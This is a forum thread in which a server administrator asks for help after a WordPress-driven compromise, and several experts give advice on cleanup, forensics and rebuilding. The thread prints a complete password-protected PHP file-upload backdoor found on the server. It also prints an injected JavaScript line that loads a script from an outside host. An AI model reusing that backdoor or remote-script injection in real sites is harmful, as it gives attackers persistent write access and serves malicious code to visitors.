Server Attack Help

Hi All,

I have a Windows Web 2008 R2 Cloud Server. Its running an up-to-date AVG File Server Edition

Recently it was running like a dog and after further inspection it seems somthing has managed to inject something into the server, as we have found most of the website roots have had a number of .php files added to them.

an example file name in the root would be confx.php or wp-cron.php. This seems to just loop creating sub directories with random .html (seemed to be dated) with spam. Example of the folder names created are Online, Seico, miao, bing, etc.

Ive attached a screen for ref.

An example of the php code in the files is ismply this

<?php
$action=$_REQUEST["action"];
$password=$_REQUEST["password"];
$pathname=$_REQUEST["pathname"];
$keywordindex=$_REQUEST["keywordindex"];
$filename=$_REQUEST["filename"];
$body=stripslashes($_REQUEST["body"]);

if($action=="test")
{
    echo "test success";
    return;
}

if($action!="publish")
{
    echo "action error";
    return;
}

if($action==""||$password==""||$filename==""||$body=="")
{
    echo "parameters error";
    return;
}

if($password!="5fobohlovr6v")
{
    echo "password error";
    return;
}

$wjj=dirname(__FILE__);
if(!file_exists($wjj))
{ 	
    mkdir($wjj,0777);
}
createFolder($pathname);

$fp=fopen($pathname."/".$filename,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv("gbk","utf-8//IGNORE",$body));
fwrite($fp,"\xEF\xBB\xBF".$body);
fclose($fp);
echo "publish success";

function createFolder($path) 
{
    if (!file_exists($path))
    {
        createFolder(dirname($path));
        mkdir($path, 0777);
    }
}
 
function mkdirs($dir)  
{ 
    if(!is_dir($dir))  
    {  
        if(!mkdirs(dirname($dir)))
        {  return false;  }  
        if(!mkdir($dir,0777))
        {  return false;  }
    } 
    return true;  
}  

function rmdirs($dir)  
{  
    $d = dir($dir); 
    while (false !== ($child = $d->read()))
    {  
        if($child != "." && $child != "..")
        {  
            if(is_dir($dir."/".$child))  
                rmdirs($dir."/".$child);  
            else 
                unlink($dir."/".$child); 
        }
    }  
    $d->close();  
    rmdir($dir);  
} 
?>

Open in new window


So we ran a full scan using AVG which didnt pick them up. So we manually removed the files, restarted and all seemed to be fine.

However, the svchost.exe (netsvcs) is now utilising 93% of the memory (4Gb) making the system run really slow and ending this process obviously solves the issue.

Does anyone have any ideas on how I can see if there is a virus and its impacting this service? Can someone help guide me through how I can check any particular areas it could be hiding?
rdp-screen.png
flynnyAsked:
Who is Participating?

[Product update] Infrastructure Analysis Tool is now available with Business Accounts.Learn More

x
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

Mark BillExchange, AD, SQL, VMware, HPE, 3PAR, FUD, Anti MS Tekhnet, Pro EE, #1Commented:
1. Take an image backup
i. Use this website to identify some flaws in your site, run a scan on your website domain name.
https://www.ssllabs.com/ssltest/

2. Boot your server into safe mode with networking.
i. Install and run the following tools, HiJackThis, Mcafee stinger and spybot search and destroy free version is fine.
ii. Use process explorer too to see what is running under SVC host if it is one of these viruses which it sounds like from what you describe they are notoriously difficult to get rid of.
Mark BillExchange, AD, SQL, VMware, HPE, 3PAR, FUD, Anti MS Tekhnet, Pro EE, #1Commented:
Upload your hijack this log to this site  http://www.hijackthis.co/

If your server passes these tests try and add more ram just to rule that out, also AV fully up to date or not cannot read encrypted executables so AV will be backdoored and bypassed by any well written virus.
.Commented:
Hi, can you restore the server from a backup to a point prior to the attack, then make sure your Server is fully patched and have your developer check his code. I have seen such injection attacks before.

In my case my IIS logs revealed where the attack came from, which was an IP address allocated to an ISP in China. I then obtained a list of IPs assigned to Asian Service providers and blocked them through my firewall, I have done this in both Windows FW and IPTables. Your IIS logs will reduce in size by at least half overnight. The IP info is a simple Google Search away. Of course I am not saying that this is right for you.

Also try anti root kit software.

https://www.sophos.com/en-us/products/free-tools/sophos-anti-rootkit.aspx

In addition to the suggestions already posted by Mark Bill.
Are You Protected from Q3's Internet Threats?

Every quarter, WatchGuard's Threat Lab releases a security report that analyzes the top threat trends impacting companies around the world. For Q3, we saw that 6.8% of the top 100K websites use insecure SSL protocols. Read the full report to start protecting your business today!

Mark BillExchange, AD, SQL, VMware, HPE, 3PAR, FUD, Anti MS Tekhnet, Pro EE, #1Commented:
pretty sure spybot picks up rootkits but ye it wont hurt :) IIS logs a good one too.
gr8gonzoConsultantCommented:
Normal anti-viruses and scanners aren't going to pick up trojan horse PHP scripts. More than likely, you've got some holes in one of your hosted scripts/apps, and that allowed someone to upload their own scripts that they can then use to do pretty much whatever they want. The script you posted basically shows that they can upload anything they want to your server.

The first thing I'd check is to see if you are hosting any Wordpress installations and ensure that they are fully updated. Wordpress is very popular and is therefore a very large target. Any security vulnerabilities are more likely to be taken advantage of by script kiddies. WP makes updating extremely simple (usually a one-click process), so you really should ensure that it's always up to date (subscribe to the update emails to stay on top of it all).

If you're hosting things for people who are not 100% trusted (e.g. shared hosting), then you need to make sure you're implementing proper boundaries for their accounts (security permissions, disk quotas, etc) so that one person's screw-up doesn't affect the server too much.

Next, check your web logs and you'll probably find the IP addresses that are hitting the uploaded scripts, and you can probably just block them with your firewall. If those people were using you as a generic file server (e.g. to upload movies and pirated software, etc), then you might be getting hits from everywhere if they have published links to that content, but if you clean up the system and remove any offending/illegal content, then the links will be broken and eventually be removed, and your traffic will drop back to normal.

If you can afford to block entire countries of IP ranges, look into blocking some of the common offenders (China, Russia, Korea, and Vietnam are the top 4 that always show up in my logs). There are published IP ranges for every country. I block many countries on some of my mail servers (any of them where I know that they would not get legitimate mail from those countries) and it helps drastically.

Also, if you can afford to do this, just shut down your web server service while you do the clean-up, or just block every IP except your own (just remember to unblock everything afterwards!). This will make sure that you have a much easier time doing cleanup. Sometimes attackers will monitor their infected servers to see if a clean-up is in progress and will try to inject more scripts to re-infect later, so blocking all traffic while you do the cleanup can help you tremendously.

To be safe, you can use Neuber's Security Task Manager application to do a quick check of running processes. That particular app has been the only one to pick up some hidden trojan horse processes in the past (when anti-virus apps and Spybot and others completely missed them). Note that the app is really only there to profile the running processes - it will not clean anything up for you. It will just give each process a score based on the type of behavior it implements (e.g. hidden windows, keystroke recording, etc...). Not every high-risk process is bad, but it's helpful to look at the top processes and see if there are any unexpected / invisible Java processes or SFTP processes that are running. Chances are that this won't happen unless your server is vulnerable to remote execution, though. Still, good to check.

You can use TreeSize Free from JAM Software to get an idea of disk usage and see if there's any unexpectedly-large folders (you'll probably have to run it as administrator to get a complete picture). This might tell you if your server's being used as a file server by the attacker, and where the uploaded files are.

Those are probably your first best bets. Just be careful with the firewall if you are remotely-administrating the server. You don't want to lock yourself out, so make sure you thoroughly whitelist yourself (and preferably a secondary trusted machine on a different network) before you add any blocking firewall rules!

Also, if you ARE remotely-administrating through RDP, make sure you're blocking that service for all IP ranges except your own.

Also, if you're using SQL Server, make sure it's properly patched up and not vulnerable to process execution via SQL injection (happens a lot).
Gary PattersonVP Technology / Senior Consultant Commented:
Here's the problem:  

Your server has clearly been compromised to some extent.  Maybe someone just found a weakness that allowed them to upload some files and create some directories.  But maybe they were able to do more - for example install a rootkit or other malware.

No idea what your hacked site does, but right now you may be creating a significant risk for both your visitors and yourself.  So the advice I'm going to give you is conservative - same advice I'd give to a client that was running an eCommerce site:

In general, an attacker will first try to find and exploit a weakness in your system (OS or applications), and use that to inject code that they can either use to compromise the system further, or to compromise the systems of site visitors, or maybe just host some web pages that rediect to harmful sites, or whatever.  Since it is clear that an attacker was successful in injecting code into your web directories, my advice is to assume the worst, and treat this is a completely compromised system.  

Leaving it up and running presents an increasing risk, if not to you, then to your site visitors.

The high utilization is an indication that there is some significant processing going on.  Maybe the system is being used to send out large amounts of SPAM, or as an attack platform to try to compromise other systems (maybe even system son your network).

Best practice is to immediately take the system offline.  The system may be rooted, and you'll never be able to fully trust it again in my opinion.  When we run into this condition, we do the following:

1) Take the server offline.  

2) Take an image of the VM, and perform a forensic examination to determine how the system was compromised.  If you don't know how to do this, I suggest you hire a professional who does.  You can certainly start by scanning the image using anti-malware and anti-rootkit tools.  Examine web logs and try to determine the source of the attack, and restrict access from those IPs, but be aware that an attacker that knows they were able to compromise your system in the past may be more willing to put special effort in to compromise it again - for example by attacking it from a different IP.

3) After the flaw that was used to compromise the system is determined, we prefer to recreate the system from scratch, using the absolute minimum of backed up data possible, under the assumption that we may not have found everything in a scan.  

4) After the site is restored to service, closely monitor it for unusual activity.
Mark BillExchange, AD, SQL, VMware, HPE, 3PAR, FUD, Anti MS Tekhnet, Pro EE, #1Commented:
I agree a restore of the website to a new machine is the best way to go about this, but then again that really depends on what your website does, its just a sitting duck informational page even for a company it may be worth taking the time to clean it up.
Gary PattersonVP Technology / Senior Consultant Commented:
Personally, I don't think leaving a compromised server up and running is much of an option, even if it has a mundane task as a static web page server.

No telling what a malicious attacker might be using it for today, or what they might use it for tomorrow.  

Especially now that you're aware the server is compromised, if you choose to do nothing, I image it is possible that you could even have legal liability if it is used to causes harm to others and you take no action, or take inadequate action - depending of course on the laws where you're located.  

Here's an excerpt from an insurance company article on the subject of (primarily US-focused) liability:

Malicious entities may attack external organizations from a compromised Web server, concealing their actual identities, and perhaps making the organization from which the attack was launched liable for damages.

The server may be used as a distribution point for illegally copied software, attack tools, or pornography, perhaps making the organization liable for damages.

(Emphasis mine)

http://www.hanover.com/risksolutions/guidelines-for-securing-public-web-servers.html
Mark BillExchange, AD, SQL, VMware, HPE, 3PAR, FUD, Anti MS Tekhnet, Pro EE, #1Commented:
Ive visited government sites as a consultant to clean up virus disasters, ive seen thousands of customers affected by these issues in the past.

I think a restore of the web page to another box and not the server is a good thing to do here.

If your firewall is properly configured how is anyone meant to attack other organizations? Need to have good network security.

This general misconception to just format machines is madness, very few viruses require this.
This in fairness sounds like a bad one. Id like to know what were dealing with here though which does not take long to find out. Sounds like Confickr or Cutwail virus to me or a spin off version.
Gary PattersonVP Technology / Senior Consultant Commented:
@Mark Bill:

Any advice on a forum like this without knowing specifics, without the ability to do direct analysis, or quickly do a risk assessment makes me tend to give conservative answers.  If you prefer to provide contrary advice, feel free.  

Advice to reload compromised servers isn't mine.  It comes directly from NIST:

http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf
http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf

I'm going to error on the side of "most safe", versus "least work".
andreasSystem AdminCommented:
Reinstall, all others isnt safe, you dont know if the attacker changed other things in the system too that the AV and malware scanners wont pick up.

furthermore a in depth forensic analysis is more time consuming than a re setup. Especially for hosts directly exposed and reachable from the internet, its a no go to CLEAN.

The only safe way is to rebuild from scratch or restore a clean backup if you have one.
Gary PattersonVP Technology / Senior Consultant Commented:
I've seen cases where servers were rebuilt/re-deployed in response to an intrusion only to get compromised again within a short time of going back online - all because the server admin didn't take the time to do the forensic analysis necessary to understand and lock down the weakness that was used to compromise the server in the first place.

Sort of like ripping out the old door on a house after a burglary, installing a whole new front door and lock, but then leaving the old side window (where the burglar got in the first time) wide open.
gr8gonzoConsultantCommented:
While I don't necessarily agree on trying to do a full restore/image process, it's not necessarily a bad thing, either. To me, it's a little overkill, because as Gary mentioned, you really need to have a complete understanding of the original vulnerability. By the time you know the original vulnerability and how to fix it, you likely have an understanding of the results of that attack and can clean it up safely.

Not every intrusion needs a complete re-format / re-image / whatever. For example, if the original intrusion is due to an insecure Wordpress implementation, then the attacker would only be able to affect areas of the system that are accessible by the web server's user permissions. If you set up the permissions correctly, then this should be very limited and would not have access to, say, the registry or other critical system files. In this kind of scenario, you shut off public access to the server, find the problem script, clean it up, clean up the damage, patch everything up, and restore public access, and then you watch the server like a hawk for a week.
flynnyAuthor Commented:
Hi Guys,

first of all many thanks for all your help.
 
From digging down it appears that the root cause seems to be a couple of wordpress installs (which I don't maintain :) ). As these were running 3.8.8 and not the latest 4.2.2.

I've upgrade all instances of wordpress on the server (there were 4) as well as all the plugins.

Whilst digging I found a few more files (only in the wordpress installation roots).

here is some of the content if it can help identity;

msem.js
document.write("<script language=javascript src='http://www.starkchaptercu.com/stark.js'></script>");

Open in new window


and then theres the encoded (date stamped) .html files inside also

Now the thing that does worry me is that these files appearred in a couple (not all) of my .NET root folders. (Now these are in the same wwwroot directory).

I've started running through the other test and logs people have mentioned and will post soon.  As mentioned I would rather find the root cause of the issue for future reference rather than create a new instance and find it happen again.
andreasSystem AdminCommented:
@gr8gonzo In your wordpress scenario you are right, you can perform a cleanup. But only if you can meet some additional side conditions. As they are.

1. Rest of the system was ALWAYS up to date with all OS/Webserver/PHP patches.
2. You have a possibility to detect changed system files, e.g. checksum databases of all currently installed system files.
3. a check of all the checksums didnt reveal any changes AND all new additional files can be safely considered safe. If there are suddenly nwe executable files somewhere in the system that were not there b4 you need to investigate all those files for its purpose and how they got in to see if they are legit (e.g. remains of autoupdate processes).
4. no new accounts were added and all passwords on all accounts on the machine were not reset after the breach.


But the thread starter also wrote of svchost eating CPU since the breach. This indicates it might be more than just a few additional php files and a bad script which was used to break in.



If the attacker got somehow a chance to run CODE as the webserver user, then he might have had used a local privilege escalation to get system/admin provileges and cahnges something else in the system. This isnt easy detectable jsut by finding out he came in through an outdated wordpress.

Even the system was otherwise fully patched, it didnt mean you are SAFE, the attacker might have had used a 0-day exploit for an unpatched hole. This also usually goes undetected by AV-Scan or Malware scanners.



Of course you need to find the root case first, to prevent the same mistake again. Closing the wordpress hole would keep out the attacker safely on a freshly installed and patched system but NOT on a cleaned, if the attacker was able to run executable code as the webserver user, as he might have escalated access and left other backdoors.

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Anti-Virus Apps

From novice to tech pro — start learning today.